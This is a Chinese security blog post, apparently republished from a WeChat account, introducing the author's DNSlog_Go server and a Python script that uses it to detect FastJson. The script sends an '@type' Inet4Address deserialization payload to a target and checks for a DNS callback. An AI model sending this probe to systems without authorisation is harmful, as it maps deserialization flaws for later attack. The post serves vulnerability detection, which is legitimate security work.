使用DNSlog_GO实现快速检测FastJson

  • A+
所属分类:安全文章

Dnslog_Go原本是为了配合我的Httphook项目的一个子项目,目的是为了配合hk实现各种盲漏洞的探测,但是后来看到目前github上的各种dnslog项目都需要,安装各种依赖,于是就把这个项目加了web界面然后开源出来了。


不了解的朋友,可以看我的这篇文章


十分钟快速自建DNSlog服务器


实际上dnslog主要还是为了配合各类脚本进行快速探测,web界面都是次要。

为了方便大家使用,和了解Dnslog的API,我写了一个很简单的FastJson的探测的脚本进行演示,各类注释也比较齐全。大家可以结合到自己写的扫描器,脚本,exp里面去。避免知道创宇等等平台的公共域名被安全设备拦截,而导致的漏报。


import requestsimport randomimport json
class DnsLog(): domain = "" token = "" Webserver = ""
def __init__(self,domain,Webserver,token): self.domain = domain #dnslog的根域名 self.Webserver = Webserver #dnslog的http监听地址,格式为 ip:端口 self.token = token #token #检测DNSLog服务器是否正常 try: res = requests.post("http://"+Webserver+"/api/verifyToken",json={"token":token}).json() except: exit("DnsLog 服务器连接失败") if res["Msg"] == "false": exit("DnsLog token 验证失败") #生成随机子域名 def randomSubDomain(self,length = 5): subDomain = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',length)) +'.'+ self.domain return subDomain
#验证子域名是否存在 def checkDomain(self,domain): res = requests.post("http://"+self.Webserver+"/api/verifyDns",json={"Query":domain},headers={"token":self.token}).json() if res["Msg"] == "false": return False else: return True
url = "http://192.168.41.2:8090/"

dns = DnsLog("test.com","1111:8888","admin")
subDomain = dns.randomSubDomain()
payload = { "b":{ "@type":"java.net.Inet4Address", "val":subDomain }}
requests.post(url,json=payload)
if dns.checkDomain(subDomain): print("存在FastJosn")


实现效果

使用DNSlog_GO实现快速检测FastJson


本文始发于微信公众号(漏洞推送):使用DNSlog_GO实现快速检测FastJson

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: